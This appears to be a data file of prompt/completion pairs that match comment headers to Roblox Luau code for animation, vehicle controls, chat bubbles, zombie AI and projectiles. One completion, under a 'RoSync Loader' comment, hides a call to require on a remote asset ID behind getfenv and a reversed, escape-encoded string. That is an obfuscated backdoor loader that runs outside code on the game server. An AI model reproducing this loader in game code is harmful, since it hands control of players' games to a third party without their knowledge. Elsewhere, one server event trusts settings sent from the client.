prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Tips
|
local tipFrame = Instance.new("Frame")
tipFrame.Name = "TipFrame"
tipFrame.BorderSizePixel = 0
tipFrame.AnchorPoint = Vector2.new(0, 0)
tipFrame.Position = UDim2.new(0,50,0,50)
tipFrame.Size = UDim2.new(1,0,1,-8)
tipFrame.ZIndex = 40
tipFrame.Parent = iconContainer
tipFrame.Active = false
local tipCorner = Instance.new("UICorner")
tipCorner.Name = "TipCorner"
tipCorner.CornerRadius = UDim.new(0.25,0)
tipCorner.Parent = tipFrame
local tipLabel = Instance.new("TextLabel")
tipLabel.Name = "TipLabel"
tipLabel.BackgroundTransparency = 1
tipLabel.TextScaled = false
tipLabel.TextSize = 12
tipLabel.Position = UDim2.new(0,3,0,3)
tipLabel.Size = UDim2.new(1,-6,1,-6)
tipLabel.ZIndex = 41
tipLabel.RichText = true
tipLabel.Parent = tipFrame
tipLabel.Active = false
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onSwimming(speed)
if userAnimateScaleRun then
speed /= getHeightScale()
end
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
-- Create a new ray info object.
-- This is just a utility alias with some extra type checking.
|
function FastCast.newBehavior(): FastCastBehavior
-- raycastParams, maxDistance, acceleration, canPenetrateFunction, canHitFunction, cosmeticBulletTemplate, cosmeticBulletContainer, autoIgnoreBulletContainer
return {
RaycastParams = nil,
Acceleration = Vector3.new(),
TravelType = "Distance",
MaxDistance = 1000,
Lifetime = 5,
CanPenetrateFunction = nil,
CanHitFunction = nil,
HighFidelityBehavior = FastCast.HighFidelityBehavior.Default,
HighFidelitySegmentSize = 0.5,
CosmeticBulletTemplate = nil,
CosmeticBulletProvider = nil,
CosmeticBulletContainer = nil,
RaycastHitbox = nil,
CurrentCFrame = CFrame.new(),
ModifiedDirection = Vector3.new(),
AutoIgnoreContainer = true,
HitEventOnTermination = false,
Hitscan = false
}
end
local DEFAULT_DATA_PACKET = FastCast.newBehavior()
function FastCast:Fire(origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior?): ActiveCast
if castDataPacket == nil then castDataPacket = DEFAULT_DATA_PACKET end
local cast = ActiveCastStatic.new(self, origin, direction, velocity, castDataPacket)
cast.RayInfo.WorldRoot = self.WorldRoot
return cast
end
|
--Settings--
|
local mySettings = marine.Settings
local stabAnimation = myHuman:LoadAnimation(marine.Stab)
stabAnimation.Priority = Enum.AnimationPriority.Action
local stabPunchAnimation = myHuman:LoadAnimation(marine.StabPunch)
stabPunchAnimation.Priority = Enum.AnimationPriority.Action
local throwAnimation = myHuman:LoadAnimation(marine.ThrowAnimation)
throwAnimation.Priority = Enum.AnimationPriority.Action
throwAnimation.Looped = false
|
-- Read the current body orientation angle as an attribute from the server, and use it to orient the character
|
function OrientableBody:orientFromAttribute()
local value: Vector2 = self.character:GetAttribute(ATTRIBUTE)
if value then
self.motor:setGoal({
horizontalAngle = Otter.spring(value.X),
verticalAngle = Otter.spring(value.Y),
})
end
end
|
-- Create remote instance
|
local updateWalkspeedRemote = Instance.new("RemoteEvent", game.ReplicatedStorage)
updateWalkspeedRemote.Name = "UpdateWalkspeed"
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.LeftShift ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--[[ Last synced 12/13/2020 04:10 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- Constants
|
local WALK_SPEED = 24 -- Running speed of the player
local DEFAULT_SPEED = 12 -- Default walking speed of the player
|
----------------------------------------------------------------------
--------------------[ TRAIL HANDLING ]--------------------------------
----------------------------------------------------------------------
|
local createTrail = script:WaitForChild("createTrail")
createTrail.OnServerEvent:connect(function(_, Origin, P, gunIgnore, S)
local Trail = Instance.new("Part")
Trail.BrickColor = S.trailSettings.Color
Trail.Transparency = S.trailSettings.Transparency
Trail.Anchored = true
Trail.CanCollide = false
Trail.Size = V3(1, 1, 1)
local Mesh = Instance.new("CylinderMesh")
Mesh.Offset = V3(0, -(P - Origin).magnitude / 2, 0)
Mesh.Scale = V3(S.trailSettings.Thickness, (P - Origin).magnitude, S.trailSettings.Thickness)
Mesh.Parent = Trail
Trail.Parent = gunIgnore
Trail.CFrame = CF(Origin, P) * CFANG(RAD(90), 0, 0)
delay(S.trailSettings.visibleTime, function()
if S.trailSettings.disappearTime > 0 then
local t0 = tick()
while true do
local Alpha = math.min((tick() - t0) / S.trailSettings.disappearTime, 1)
Trail.Transparency = numLerp(S.trailSettings.Transparency, 1, Alpha)
if Alpha == 1 then break end
wait()
end
Trail:Destroy()
else
Trail:Destroy()
end
end)
end)
|
--// F key, HornOff
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 3
veh.Lightbar.middle.Yelp.Volume = 3
veh.Lightbar.middle.Priority.Volume = 3
veh.Lightbar.HORN.Transparency = 1
end
end)
|
--Values--
|
local car = script.Parent.Parent.Car.Value
local FE = workspace.FilteringEnabled
local _Tune = require(car["A-Chassis Tune"])
local Redline = _Tune.Redline
local maxPSI = WasteGatePressure
local totalPSI = 0
local actualPSI = 0
local CR = CompressionRatio
local TC = TurboCount
local handler = car:WaitForChild("UpdateAndMake")
local Values = script.Parent.Parent.Values
local Throttle = script.Parent.Parent.Values.Throttle.Value
local BOVFix = (1 - Throttle)
local tester = 1
local BOVact = 0
local BOVact2 = 0
local Whistle = car.DriveSeat:WaitForChild("Whistle")
local BOV = car.DriveSeat:WaitForChild("BOV")
Whistle:Play()
|
--track serverside attention target table to give newly joined players
|
local targets = {}
broadcastAttention.OnServerEvent:Connect(function (player, target)
if player then
broadcastAttention:FireAllClients(player, target)
targets[player] = target
end
end)
getAttentionOnJoin.OnServerEvent:Connect(function (player)
if player then
getAttentionOnJoin:FireClient(player, targets)
end
end)
|
--[[Controls]]
|
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.max(_CGear-1,-1)
car.DriveSeat.Filter:FireServer('shift',false)
--Shift Up [Manual Transmission]
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
car.DriveSeat.Filter:FireServer('shift',true)
--Toggle Clutch
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
--Toggle Transmission Mode
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then
_TCS = not _TCS
end
--Toggle ABS
elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then
_ABS = not _ABS
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
--// All remote events will have a no-opt OnServerEvent connecdted on construction
|
local function CreateEventIfItDoesntExist(parentObject, objectName)
local obj = CreateIfDoesntExist(parentObject, objectName, "RemoteEvent")
obj.OnServerEvent:Connect(emptyFunction)
return obj
end
CreateEventIfItDoesntExist(EventFolder, "OnNewMessage")
CreateEventIfItDoesntExist(EventFolder, "OnMessageDoneFiltering")
CreateEventIfItDoesntExist(EventFolder, "OnNewSystemMessage")
CreateEventIfItDoesntExist(EventFolder, "OnChannelJoined")
CreateEventIfItDoesntExist(EventFolder, "OnChannelLeft")
CreateEventIfItDoesntExist(EventFolder, "OnMuted")
CreateEventIfItDoesntExist(EventFolder, "OnUnmuted")
CreateEventIfItDoesntExist(EventFolder, "OnMainChannelSet")
CreateEventIfItDoesntExist(EventFolder, "ChannelNameColorUpdated")
CreateEventIfItDoesntExist(EventFolder, "SayMessageRequest")
CreateEventIfItDoesntExist(EventFolder, "SetBlockedUserIdsRequest")
CreateIfDoesntExist(EventFolder, "GetInitDataRequest", "RemoteFunction")
CreateIfDoesntExist(EventFolder, "MutePlayerRequest", "RemoteFunction")
CreateIfDoesntExist(EventFolder, "UnMutePlayerRequest", "RemoteFunction")
EventFolder = useEvents
local function CreatePlayerSpeakerObject(playerObj)
--// If a developer already created a speaker object with the
--// name of a player and then a player joins and tries to
--// take that name, we first need to remove the old speaker object
local speaker = ChatService:GetSpeaker(playerObj.Name)
if (speaker) then
ChatService:RemoveSpeaker(playerObj.Name)
end
speaker = ChatService:InternalAddSpeakerWithPlayerObject(playerObj.Name, playerObj, false)
for _, channel in pairs(ChatService:GetAutoJoinChannelList()) do
speaker:JoinChannel(channel.Name)
end
speaker:InternalAssignEventFolder(EventFolder)
speaker.ChannelJoined:connect(function(channel, welcomeMessage)
local log = nil
local channelNameColor = nil
local channelObject = ChatService:GetChannel(channel)
if (channelObject) then
log = channelObject:GetHistoryLogForSpeaker(speaker)
channelNameColor = channelObject.ChannelNameColor
end
EventFolder.OnChannelJoined:FireClient(playerObj, channel, welcomeMessage, log, channelNameColor)
end)
speaker.Muted:connect(function(channel, reason, length)
EventFolder.OnMuted:FireClient(playerObj, channel, reason, length)
end)
speaker.Unmuted:connect(function(channel)
EventFolder.OnUnmuted:FireClient(playerObj, channel)
end)
ChatService:InternalFireSpeakerAdded(speaker.Name)
end
EventFolder.SayMessageRequest.OnServerEvent:connect(function(playerObj, message, channel)
if type(message) ~= "string" then
return
elseif not validateMessageLength(message) then
return
end
if type(channel) ~= "string" then
return
elseif not validateChannelNameLength(channel) then
return
end
local speaker = ChatService:GetSpeaker(playerObj.Name)
if (speaker) then
return speaker:SayMessage(message, channel)
end
return nil
end)
EventFolder.MutePlayerRequest.OnServerInvoke = function(playerObj, muteSpeakerName)
if type(muteSpeakerName) ~= "string" then
return
end
local speaker = ChatService:GetSpeaker(playerObj.Name)
if speaker then
local muteSpeaker = ChatService:GetSpeaker(muteSpeakerName)
if muteSpeaker then
speaker:AddMutedSpeaker(muteSpeaker.Name)
return true
end
end
return false
end
EventFolder.UnMutePlayerRequest.OnServerInvoke = function(playerObj, unmuteSpeakerName)
if type(unmuteSpeakerName) ~= "string" then
return
end
local speaker = ChatService:GetSpeaker(playerObj.Name)
if speaker then
local unmuteSpeaker = ChatService:GetSpeaker(unmuteSpeakerName)
if unmuteSpeaker then
speaker:RemoveMutedSpeaker(unmuteSpeaker.Name)
return true
end
end
return false
end
|
--[[ FUNCTIONS ]]
|
local function lerpLength(msg, min, max)
return min + (max-min) * math.min(string.len(msg)/75.0, 1.0)
end
local function createFifo()
local this = {}
this.data = {}
local emptyEvent = Instance.new("BindableEvent")
this.Emptied = emptyEvent.Event
function this:Size()
return #this.data
end
function this:Empty()
return this:Size() <= 0
end
function this:PopFront()
table.remove(this.data, 1)
if this:Empty() then emptyEvent:Fire() end
end
function this:Front()
return this.data[1]
end
function this:Get(index)
return this.data[index]
end
function this:PushBack(value)
table.insert(this.data, value)
end
function this:GetData()
return this.data
end
return this
end
local function createCharacterChats()
local this = {}
this.Fifo = createFifo()
this.BillboardGui = nil
return this
end
local function createMap()
local this = {}
this.data = {}
local count = 0
function this:Size()
return count
end
function this:Erase(key)
if this.data[key] then count = count - 1 end
this.data[key] = nil
end
function this:Set(key, value)
this.data[key] = value
if value then count = count + 1 end
end
function this:Get(key)
if not key then return end
if not this.data[key] then
this.data[key] = createCharacterChats()
local emptiedCon = nil
emptiedCon = this.data[key].Fifo.Emptied:connect(function()
emptiedCon:disconnect()
this:Erase(key)
end)
end
return this.data[key]
end
function this:GetData()
return this.data
end
return this
end
local function createChatLine(message, bubbleColor, isLocalPlayer)
local this = {}
function this:ComputeBubbleLifetime(msg, isSelf)
if isSelf then
return lerpLength(msg,8,15)
else
return lerpLength(msg,12,20)
end
end
this.Origin = nil
this.RenderBubble = nil
this.Message = message
this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer)
this.BubbleColor = bubbleColor
this.IsLocalPlayer = isLocalPlayer
return this
end
local function createPlayerChatLine(player, message, isLocalPlayer)
local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer)
if player then
this.User = player.Name
this.Origin = player.Character
end
return this
end
local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor)
local this = createChatLine(message, bubbleColor, isLocalPlayer)
this.Origin = origin
return this
end
function createChatBubbleMain(filePrefix, sliceRect)
local chatBubbleMain = Instance.new("ImageLabel")
chatBubbleMain.Name = "ChatBubble"
chatBubbleMain.ScaleType = Enum.ScaleType.Slice
chatBubbleMain.SliceCenter = sliceRect
chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
chatBubbleMain.BackgroundTransparency = 1
chatBubbleMain.ImageColor3 = Color3.fromRGB(0,0,0)
chatBubbleMain.BorderSizePixel = 0
chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0)
chatBubbleMain.Position = UDim2.new(0,0,0,0)
return chatBubbleMain
end
function createChatBubbleTail(position, size)
local chatBubbleTail = Instance.new("ImageLabel")
chatBubbleTail.Name = "ChatBubbleTail"
chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png"
chatBubbleTail.BackgroundTransparency = 1
chatBubbleTail.BorderSizePixel = 0
chatBubbleTail.Position = position
chatBubbleTail.Size = size
chatBubbleTail.ImageColor3 = Color3.fromRGB(0,0,0)
return chatBubbleTail
end
function createChatBubbleWithTail(filePrefix, position, size, sliceRect)
local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)
local chatBubbleTail = createChatBubbleTail(position, size)
chatBubbleTail.Parent = chatBubbleMain
return chatBubbleMain
end
function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect)
local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)
local frame = Instance.new("Frame")
frame.Name = "ChatBubbleTailFrame"
frame.BackgroundTransparency = 1
frame.SizeConstraint = Enum.SizeConstraint.RelativeXX
frame.BackgroundColor3 = Color3.fromRGB(0,0,0)
frame.Position = UDim2.new(0.5, 0, 1, 0)
frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0)
frame.Parent = chatBubbleMain
local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1,0,0.5,0))
chatBubbleTail.Parent = frame
return chatBubbleMain
end
function createChatImposter(filePrefix, dotDotDot, yOffset)
local result = Instance.new("ImageLabel")
result.Name = "DialogPlaceholder"
result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
result.BackgroundTransparency = 1
result.BorderSizePixel = 0
result.ImageColor3 =Color3.fromRGB(0,0,0)
result.Position = UDim2.new(0, 0, -1.25, 0)
result.Size = UDim2.new(1, 0, 1, 0)
local image = Instance.new("ImageLabel")
image.Name = "DotDotDot"
image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png"
image.BackgroundTransparency = 1
image.BorderSizePixel = 0
image.Position = UDim2.new(0.001, 0, yOffset, 0)
image.Size = UDim2.new(1, 0, 0.7, 0)
image.Parent = result
return result
end
local this = {}
this.ChatBubble = {}
this.ChatBubbleWithTail = {}
this.ScalingChatBubbleWithTail = {}
this.CharacterSortedMsg = createMap()
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS
|
function onRunning(speed)
if speed > 0.5 then
playAnimation("run", 0.2, Humanoid)
pose = "Running"
else
if emoteNames[currentAnim] == nil then
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
|
-- ROBLOX FIXME: workaround for defult generic param
|
export type Matchers_<R> = Matchers<R, unknown>
return {}
|
-- if ZombieTarget.Torso.Position.Y > model.Torso.Position.Y + 2 then
-- model.Humanoid.Jump = true
-- end
|
end
end
end
PursueState.Init = function()
end
-- AttackState: Keep moving towards target and play attack animation.
local AttackState = StateMachine.NewState()
AttackState.Name = "Attack"
local lastAttack = os.time()
local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
AttackState.Action = function()
model.Humanoid:MoveTo(ZombieTarget.Torso.Position)
local now = os.time()
if now - lastAttack > 3 then
lastAttack = now
attackTrack:Play()
end
end
-- HuntState: Can't see target but NPC will move to target's last known location.
-- Will eventually get bored and switch state.
local HuntState = StateMachine.NewState()
HuntState.Name = "Hunt"
HuntState.Action = function()
if ZombieTargetLastLocation then
PathLib:MoveToTarget(model, ZombieTargetLastLocation)
end
end
HuntState.Init = function()
lastBored = os.time() + configs["BoredomDuration"] / 2
end
-- CONDITION DEFINITIONS
-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
local CanSeeTarget = StateMachine.NewCondition()
CanSeeTarget.Name = "CanSeeTarget"
CanSeeTarget.Evaluate = function()
if model then
-- Get list of all nearby Zombies and non-Zombie humanoids
-- Zombie list is used to ignore zombies during later raycast
local humanoids = HumanoidList:GetCurrent()
local zombies = {}
local characters = {}
for _, object in pairs(humanoids) do
if object and object.Parent and object.Parent:FindFirstChild("Torso") and object.Health > 0 and object.WalkSpeed > 0 then
local torso = object.Parent:FindFirstChild("Torso")
if torso then
local distance = (model.Torso.Position - torso.Position).magnitude
if distance <= configs["AggroRange"] then
if object.Parent.Name == "Zombie" then
table.insert(zombies, object.Parent)
else
table.insert(characters, object.Parent)
end
end
end
end
end
local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
if target then
ZombieTarget = target
return true
end
|
--////////////////////////////// Include
--//////////////////////////////////////
|
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants"))
local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local Speaker = require(modulesFolder:WaitForChild("Speaker"))
local Util = require(modulesFolder:WaitForChild("Util"))
|
--[=[
Helpful functions involving Roblox groups.
@class GroupUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local GroupService = game:GetService("GroupService")
local Promise = require("Promise")
local GroupUtils = {}
|
-- Services
|
local MarketplaceService = game:GetService("MarketplaceService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local Players = game:GetService("Players")
local Utilities = require(ServerStorage.Utilities)
local Configurations = require(ServerStorage.Configurations)
|
-- Takes an instance and overlays it on top of a parent. This is used for
-- overlaying a DevModule's DataModel-based layout on top of existing services.
|
local function overlay(instance: Instance, parent: Instance)
for _, child in ipairs(instance:GetChildren()) do
local existingChild = parent:FindFirstChild(child.Name)
if existingChild and child.ClassName == "Folder" then
overlay(child, existingChild)
else
move(child, parent)
end
end
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Spin blue bone" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- Actual measured distance to the camera Focus point, which may be needed in special circumstances, but should
-- never be used as the starting point for updating the nominal camera-to-subject distance (self.currentSubjectDistance)
-- since that is a desired target value set only by mouse wheel (or equivalent) input, PopperCam, and clamped to min max camera distance
|
function BaseCamera:GetMeasuredDistanceToFocus()
local camera = game.Workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
return nil
end
function BaseCamera:GetCameraLookVector()
return game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame.lookVector or UNIT_Z
end
function BaseCamera:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput)
local currLookVector = suppliedLookVector or self:GetCameraLookVector()
local currPitchAngle = math.asin(currLookVector.y)
local yTheta = math.clamp(rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle)
local constrainedRotateInput = Vector2.new(rotateInput.x, yTheta)
local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
